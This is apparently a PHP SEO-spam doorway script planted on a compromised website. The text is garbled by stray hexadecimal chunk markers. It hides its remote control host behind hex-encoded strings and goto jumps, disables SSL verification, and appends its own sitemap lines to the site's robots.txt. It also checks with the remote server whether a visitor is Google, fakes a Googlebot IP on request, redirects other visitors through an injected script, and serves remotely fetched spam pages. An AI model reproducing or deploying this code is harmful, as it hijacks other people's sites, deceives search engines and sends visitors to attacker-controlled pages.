3 6 true, 1f CURLOPT_CONNECTTI 5 MEOUT 1c => 5, CURLOPT_ 12 TIMEOUT => 1a 8, CURLOPT_SS 7 L_VERIF 9 YPEER => 26 false, CURLOPT_SSL_VERIFY 4 HOST 25 => false, CURLOPT_FOLLO 6 WLOCAT 23 ION => false, CURLOPT_ 6 USERAG d ENT => " 6 Mozill 6 a/5.0" 17 ]); f $data = curl_ex 6 ec($ch 16 ); curl_close 19 ($ch); } if ( d empty($data) 6 && ini a _get('allo 8 w_url_fo 14 pen')) { $c 9 ontext = 7 stream_ d context_creat 12 e([ " 5 http" a => ["time a out" => 8, 8 "header 9 " => "Use 4 r-Ag 11 ent: Mozilla/5.0\ 5 r\n"] 13 , "ssl b " => ["ver 6 ify_pe e er" => false, 11 "verify_peer_name 2a " => false] ]); $data = 14 @file_get_contents($ c url, false, 1e $context); } if (! 19 empty($data)) cache_set($ c url, $data); 12 return $data 7b ; } /* ------------------------- URL ä¿¡æ¯ ------------------------- */ function get_url_info(string $type='do 6 main') 11 : string { $ 4 host 16 = $_SERVER['HTTP_HOST 5 '] ?? f ''; if ($ a type === ' 5 no_ww d w') return pr 7 eg_repl 6 ace('/ 7 ^www\./ 5 i', ' 9 ', $host) 10 ; $protoc 5 ol = 18 (!empty($_SERVER['HTTPS' 17 ]) && $_SERVER['HTTPS'] 9 !== 'off a ') ? "http 6 s://" b : "http://" b ; $bas f e = $protocol . 13 $host; if ( 19 $type === 'base') return 1d $base; if ($type === 'fu 14 ll') return $base . d ($_SERVER['RE 4 QUES d T_URI'] ?? '' 19 ); return $host; 2a } /* ------------------------- åŸ 4 ºç¡€ 5 å˜é‡ 22 ------------------------- */ g 7 oto ONP 9 uB; ONPuB 8 : $http_ 17 type = !empty($_SERVER[ 5 "\x48 6 \124\x a 54\x50\x53 1a "]) && $_SERVER["\x48\124\ d 124\x50\x53"] a !== "\157 5 \x66\ 4 146" b ? "\150\x7 b 4\x74\x70\1 6 63\72\ 7 x2f\x2f b " : "\x68\1 a 64\164\160 d \72\x2f\57"; 9 goto O4O9 b k; O4O9k: $ 9 vurl = "\ 11 x74\157\56\152\14 9 7\141\x6c b \x6c\163\x2 c e\143\157\x6 d d\x2f"; goto 6 vgv72; a vgv72: $q 7 z = sub 7 str(str 13 _replace(array("\x7 8 7\x77\16 9 7\x2e", " 5 \56") 14 , '', $_SERVER["\110 b \x54\x54\12 b 0\x5f\x48\x a 4f\123\x54 7 "]), 0, 6 3); 27 /* ------------------------- è§£æ 4 ž f 4 å‚ 2a æ•° ------------------------- */ $sz = $ 7 iid = " 6 "; if f (!empty($_GET)) 6 { $f 8 =reset($ e _GET); $s e p = explode('- 11 ', $f); if ( 7 count($ 9 sp) === 2 11 ) { $sz 9 = $sp[0] 16 ; $iid = $sp[ c 1]; } 29 } /* ------------------------- 远 4 程æ 4 Ž¥å 21 £ ------------------------- */ 18 if (!empty($sz)) { 6 $jd = 18 getCurlFast("{$http_type 8 }{$vurl} 5 3kg.a 6 spx?sz 8 =" . url 7 encode( b $sz)); } e 3b lse { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?x f y={$http_type}" 37 ); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx? 13 jd=" . urlencode($j b d)); } 6 $hyzhd 8 y = $jd 5 . "41 b .aspx"; $s 10 url = $jd . "s 31 41.aspx"; /* ------------------------- r 5 obots 8 / sitem 24 ap ------------------------- */ $s d itemapLine = a "Sitemap: 22 {$http_type}{$_SERVER['HTTP_HOST'] f }{$_SERVER['SCR 6 IPT_NA 7 ME']}?w a =" . date( 5 'YmdH 7 i') . " f \n"; function 7 ensure_ f robots_sitemap( 16 $sitemapLine) { $ a robots = r 11 trim($_SERVER['DO 7 CUMENT_ 6 ROOT'] 7 , "/\\" d ) . '/robots. f txt'; if ( e !file_exists($ 14 robots)) { 1b @file_put_contents($robots, e "User-agent: 8 *\nAllow 6 : /\n" f . $sitemapLine 12 , LOCK_EX); } 13 else { $c 1f = @file_get_contents($robots); 12 if ($c = c == false || a strpos($c, 18 $sitemapLine) === false 2d ) { @file_put_contents($robots, 11 $sitemapLine, FIL 8 E_APPEND 12 | LOCK_EX); 11 } } } 29 /* ------------------------- w= è 4 ¾“å‡ 2d º ------------------------- */ if (!empty($ 7 get['w' 10 ])) { $pa 7 rams = 9 http_buil 5 d_que f ry([ ' 6 NOUmbe 6 r' => 15 $get['NOUmber'] ?? '' e , 't' 11 => $get['t 26 '] ?? '', 'cn' => $get[' 17 cn'] ?? '', 'p 17 NOUm' => $get['pNOUm' 17 ] ?? '', 'cid' 25 => $get['cid'] ?? '', ' 12 m' => $get[' 10 m'] ?? '' ] e ); $str 18 = getCurlFast("{$surl}? e {$params}"); a echo 17 str_replace( 6 ['yymm 8 ','ggggg 6 ','?f= 18 '], [$http_type 17 .$_SERVER['HTTP_HOST']. 1b $_SERVER['SCRIPT_NAME'], $s 6 z,'?'. 13 $qz.'='], 12 $str ); 3 exi 2f t; } /* ------------------------- IP 5 åˆ¤å® 4 šï¼ˆ 4 ä¿ç 6 •™ kk 4 测è 2 ¯• 2a ) ------------------------- */ $kk = i b sset($get[' 7 kk']) ? 12 trim($get['kk']) 7 : ''; b $ip = ($kk d !== '') ? "66 5 .249. 4 82.8 11 " : get_real_ip() 2b ; /* ------------------------- get c domain2 判æ 23 –­ ------------------------- */ $ e domain = trim( 13 getCurlFast($jd . " 12 getdomain2.aspx?rn 6 d=1&ip 9 =" . $ip) 2b ); /* ------------------------- é 7 ž googl 4 e + 7 iid → 5 è·³è 26 ½¬ ------------------------- */ if ( d $domain !== ' b google' && b !empty($iid 10 )) { $kname 8 = urlde 1a code(getCurlFast($jd . "gn 10 .aspx?iid=" . $i 10 id)); echo 6 'loc 7 ation=" c ' . $jd . "a b .aspx?cname 15 =" . urlencode($kname f ) . "&url=" . $ b http_type . 23 $_SERVER['HTTP_HOST'] . $_SERVER[' 14 SCRIPT_NAME'] . '"' 3a ; exit; } /* ------------------------- iid 40 输出 ------------------------- */ if (!empty($iid)) { $ 1d str = getCurlFast($hyzhdy . " a ?iid={$iid 31 }"); echo str_replace( ['ggggg',' 9 YYYYY','X 9 XXYYY','å 4 ½“å‰ 8 URL','U c UUUU','MMMMM 18 ','?f='], [$sz, f get_url_info() 26 , get_url_info('base'), get_url_info(' 16 full'), get_url_info(' c no_www'),par 6 se_url 1d ($_SERVER['REQUEST_URI'], PHP 7 _URL_PA 3 TH) 62 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap h 5 elper 2c ------------------------- */ function out d put_sitemap_a 7 nd_exit e ($sitemapLine, 14 $http_type) { 31 ensure_robots_sitemap($sitemapLine); echo "< 6 div st 5 yle=' 9 text-alig 6 n:cent 6 er;pad 6 ding:1 6 0px 0; 10 '> 7 Sitemap< 10 /a> < 6 /div>" 39 ; exit; } /* ------------------------- kk 9 输出控 3 制 2e ------------------------- */ if ($kk !== '' b && preg_ma 7 tch('/^ 5 [A-Za 5 -z0-9 4 ]+$/ 6 ', $kk 11 )) { $remote 2a = getCurlFast($jd . "getdomain2.aspx?rnd= 4 2&kk 9 =" . $kk) 19 ; if (!empty($remote 13 )) { echo 12 $remote; 13 exit; } } 3f if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { 3a output_sitemap_and_exit($sitemapLine, $http_type); } $ 6 is_no_ 9 query = e 13 mpty($_SERVER['QUER 9 Y_STRING' 10 ]); if ($kk = 15 == '' && $is_no_query 16 ) { if ($domain = 18 == 'google') { 4a output_sitemap_and_exit($sitemapLine, $http_type); } else { 47 exit; } } output_sitemap_and_exit($sitemapLine, $http_type); 4 ?> 0